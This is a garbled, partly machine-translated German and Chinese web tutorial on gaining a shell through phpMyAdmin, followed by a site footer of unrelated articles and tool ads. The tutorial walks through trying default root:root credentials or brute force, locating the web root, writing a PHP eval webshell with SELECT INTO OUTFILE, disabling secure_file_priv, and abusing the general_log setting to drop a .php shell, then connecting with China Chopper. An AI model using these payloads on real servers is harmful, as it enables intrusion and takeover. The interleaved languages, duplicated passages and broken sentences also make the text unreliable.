Inhaltsverzeichnis
Einführung in PhpMyAdmin
into outfile导出木马
利用Mysql日志文件
Heim Datenbank phpMyAdmin PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

Jun 17, 2021 pm 02:57 PM
phpmyadmin

Das Folgende ist eine Einführung in die PhpMyAdmin-Hintergrund-Getshell (Penetrationstest) aus der phpmyadminTutorial-Kolumne. Ich hoffe, dass sie für Freunde hilfreich sein wird, die sie benötigen!

Einführung in PhpMyAdmin

PhpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist und es Administratoren ermöglicht, die Webschnittstelle zur Verwaltung von MySQL-Datenbanken zu verwenden. Diese Weboberfläche kann eine bessere Möglichkeit sein, komplexe SQL-Syntax auf einfache Weise einzugeben, insbesondere wenn es um den Import und Export großer Datenmengen geht.
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
Wenn nach dem Sammeln und Erkennen von Informationen auf dem Ziel festgestellt wird, dass es ein phpmyadmin-Verzeichnis gibt (versuchen Sie es mit: http://ip:port/phpmyadmin/), dann über das schwache Passwort ( http://ip:端口/phpmyadmin/ )时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

into outfile导出木马

想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。

最方便的是用select @@basedir;直接查(但有时没法查出来,只能另寻它法):
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

根据上面的反馈,我们可以看到 MySQL 的位置在 D:softphpStudyMySQL目录下。

获得网站路径后就可以企图上传木马了,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';

但在新版的mysql中,这句话并没有运行成功。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
secure_file_priv为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。

利用Mysql日志文件

Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_loggeneral_log file

  1. general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
  2. general log file 指的是日志的保存路径。

查看日志状态的命令:show variables like '%general%';
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log Sie können das Root-Passwort des Kontos (root) direkt ausprobieren oder Brute Force verwenden, um den Verwaltungshintergrund aufzurufen. Es gibt viele Möglichkeiten, die Shell zu erhalten. Bildbeschreibung hier einfügen

🎜in den Outfile-Export-Trojaner🎜 🎜 Wenn Sie einen Trojaner in die Website einfügen möchten, müssen Sie den absoluten Pfad der Website kennen. Es gibt viele Methoden, z. B. den Pfad über Fehlerberichte, phpinfo.php usw. zu ermitteln. (Siehe einen anderen Blog-Beitrag: https ://blog.csdn.net/weixin_39190897/article/details/99078864). 🎜🎜Am bequemsten ist es, mit select @@basedir; direkt zu prüfen (aber manchmal kann man es nicht herausfinden, also muss man einen anderen Weg finden): 🎜Bildbeschreibung hier einfügen🎜🎜Dem obigen Feedback können wir entnehmen, dass MySQL vorhanden ist befindet sich im Verzeichnis D: softphpStudyMySQL. 🎜🎜Nachdem Sie den Website-Pfad erhalten haben, können Sie versuchen, den Trojaner hochzuladen. Die häufigste Methode besteht darin, einen Trojaner-Satz direkt in das Stammverzeichnis der Website über in die Ausgabedatei zu schreiben: 🎜🎜 select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';Aber in der neuen Version von MySQL wurde dieser Satz nicht erfolgreich ausgeführt. 🎜Bildbeschreibung hier einfügen🎜 Neue MySQL-Funktionen secure_file_priv wirkt sich auf das Lesen und Schreiben von Dateien aus. Dieser Parameter wird verwendet, um den Import und Export einzuschränken. Wir können den Befehl globale Variablen wie '%secure%' anzeigen; verwenden, um diesen Parameter anzuzeigen: 🎜Bildbeschreibung hier einfügen🎜 Wenn secure_file_priv NULL ist, bedeutet dies, dass MySQL vom Import und Export ausgeschlossen ist, sodass ein Fehler auftritt. Damit die Anweisung erfolgreich exportiert werden kann, müssen Sie die Datei my.ini im Mysql-Ordner ändern und secure_file_priv ="" zu [mysqld] hinzufügen: 🎜🎜 Wenn secure_file_privWenn der Wert von > hat keinen bestimmten Wert, was bedeutet, dass es keine Einschränkung für den Import/Export von mysqld gibt und der Exportbefehl zu diesem Zeitpunkt ausgeführt werden kann. 🎜🎜Verwenden von MySQL-Protokolldateien🎜🎜MySQL-Version 5.0 und höher erstellt Protokolldateien. Durch Ändern der globalen Variablen des Protokolls können Sie auch eine Getshell erstellen. Sie müssen aber auch über Lese- und Schreibberechtigungen für die generierten Protokolle verfügen. (Hinweis: Der persönliche Test unter Linux war aufgrund von Berechtigungsproblemen nicht erfolgreich.) Lassen Sie uns zunächst zwei globale MySQL-Variablen einführen: general_log und general_log file. 🎜
  1. 🎜allgemeines Protokoll🎜 bezieht sich auf den Protokollspeicherstatus, EIN bedeutet offen und AUS bedeutet geschlossen
  2. 🎜allgemeine Protokolldatei🎜 bezieht sich auf den Speicherpfad des Protokolls.
🎜Befehl zum Anzeigen des Protokollstatus: zeige Variablen wie „%general%“;🎜Bildbeschreibung hier einfügen🎜 Wenn in der obigen Konfiguration „Allgemein“ aktiviert ist, werden die von 🎜 ausgeführten SQL-Anweisungen in WIN-30DFNC8L78A angezeigt .logDatei 🎜. 🎜

Wenn Sie dann general_log_file的值,那么所执行的sql语句就会对应生成,进而getshell。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
对应就会生成xxx.php文件
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
ändern, können Sie die in der Protokolldatei aufgezeichnete Trojaner-Anweisung sehen:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)Schließlich die chinesische Chopper-Verbindung, getshell:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

Das obige ist der detaillierte Inhalt vonPHPMyAdmin-Hintergrund-Getshell (Penetrationstest). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
2 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
Repo: Wie man Teamkollegen wiederbelebt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So legen Sie den Primärschlüssel in phpmyadmin fest So legen Sie den Primärschlüssel in phpmyadmin fest Apr 07, 2024 pm 02:54 PM

Der Primärschlüssel einer Tabelle besteht aus einer oder mehreren Spalten, die jeden Datensatz in der Tabelle eindeutig identifizieren. Hier sind die Schritte zum Festlegen eines Primärschlüssels: Melden Sie sich bei phpMyAdmin an. Wählen Sie Datenbank und Tabelle aus. Markieren Sie die Spalte, die Sie als Primärschlüssel verwenden möchten. Klicken Sie auf „Änderungen speichern“. Primärschlüssel bieten Datenintegrität, Suchgeschwindigkeit und Vorteile bei der Beziehungsmodellierung.

Wo gibt es die WordPress-Datenbank? Wo gibt es die WordPress-Datenbank? Apr 15, 2024 pm 10:39 PM

Die WordPress-Datenbank ist in einer MySQL-Datenbank untergebracht, die alle Website-Daten speichert und auf die über das Dashboard Ihres Hosting-Anbieters, FTP oder phpMyAdmin zugegriffen werden kann. Der Datenbankname bezieht sich auf die URL oder den Benutzernamen der Website und der Zugriff erfordert die Verwendung von Datenbankanmeldeinformationen, einschließlich Name, Benutzername, Passwort und Hostname, die normalerweise in der Datei „wp-config.php“ gespeichert sind.

So fügen Sie Fremdschlüssel in phpmyadmin hinzu So fügen Sie Fremdschlüssel in phpmyadmin hinzu Apr 07, 2024 pm 02:36 PM

Das Hinzufügen eines Fremdschlüssels in phpMyAdmin kann durch die folgenden Schritte erreicht werden: Wählen Sie die übergeordnete Tabelle aus, die den Fremdschlüssel enthält. Bearbeiten Sie die übergeordnete Tabellenstruktur und fügen Sie unter „Spalten“ neue Spalten hinzu. Aktivieren Sie Fremdschlüsseleinschränkungen und wählen Sie die referenzierende Tabelle und den Schlüssel aus. Legen Sie Aktualisierungs-/Löschvorgänge fest. Änderungen speichern.

Wie lautet das Passwort für das phpmyadmin-Konto? Wie lautet das Passwort für das phpmyadmin-Konto? Apr 07, 2024 pm 01:09 PM

Der Standardbenutzername und das Passwort für PHPMyAdmin sind root und leer. Aus Sicherheitsgründen wird empfohlen, das Standardkennwort zu ändern. Methode zum Ändern des Passworts: 1. Melden Sie sich bei PHPMyAdmin an. 2. Wählen Sie „Privilegien“ 3. Geben Sie das neue Passwort ein und speichern Sie es. Wenn Sie Ihr Passwort vergessen, können Sie es zurücksetzen, indem Sie den MySQL-Dienst stoppen und die Konfigurationsdatei bearbeiten: 1. Fügen Sie die Zeile „skip-grant-tables“ hinzu. 2. Melden Sie sich an der MySQL-Befehlszeile an und setzen Sie das Root-Passwort zurück 4. Löschen Sie die Zeile „skip-grant-tables“ und starten Sie den MySQL-Dienst neu.

Wo ist das phpmyadmin-Protokoll? Wo ist das phpmyadmin-Protokoll? Apr 07, 2024 pm 12:57 PM

Standardspeicherort für PHPMyAdmin-Protokolldateien: Linux/Unix/macOS:/var/log/phpmyadminWindows: C:\xampp\phpMyAdmin\logs\ Zweck der Protokolldatei: Fehlerbehebung bei der Überwachungssicherheit

So löschen Sie eine Datentabelle in phpmyadmin So löschen Sie eine Datentabelle in phpmyadmin Apr 07, 2024 pm 03:00 PM

Schritte zum Löschen einer Datentabelle in phpMyAdmin: Wählen Sie die Datenbank und die Datentabelle aus. Klicken Sie auf die Option „Löschen“.

Warum wurde der phpmyadmin-Zugriff verweigert? Warum wurde der phpmyadmin-Zugriff verweigert? Apr 07, 2024 pm 01:03 PM

Gründe und Lösungen für den von phpMyAdmin verweigerten Zugriff: Authentifizierung fehlgeschlagen: Überprüfen Sie, ob Benutzername und Passwort korrekt sind. Serverkonfigurationsfehler: Passen Sie die Firewall-Einstellungen an und prüfen Sie, ob der Datenbank-Port korrekt ist. Berechtigungsproblem: Gewähren von Benutzern Zugriff auf die Datenbank. Sitzungszeitüberschreitung: Aktualisieren Sie die Browserseite und stellen Sie die Verbindung wieder her. phpMyAdmin-Konfigurationsfehler: Überprüfen Sie die Konfigurationsdatei und Dateiberechtigungen, um sicherzustellen, dass die erforderlichen Apache-Module aktiviert sind. Serverproblem: Warten Sie eine Weile und versuchen Sie es erneut oder wenden Sie sich an Ihren Hosting-Anbieter.

Zu welcher Art von Sicherheitslücke gehört die phpmyadmin-Sicherheitslücke? Zu welcher Art von Sicherheitslücke gehört die phpmyadmin-Sicherheitslücke? Apr 07, 2024 pm 01:36 PM

phpMyAdmin ist anfällig für mehrere Schwachstellen, darunter: 1. Schwachstelle durch SQL-Injection (XSS); 3. Schwachstelle durch Remotecode-Ausführung (LFI); 5. Schwachstelle bei der Offenlegung von Informationen; Sicherheitslücke; 6. Sicherheitslücke bezüglich der Rechteausweitung.

See all articles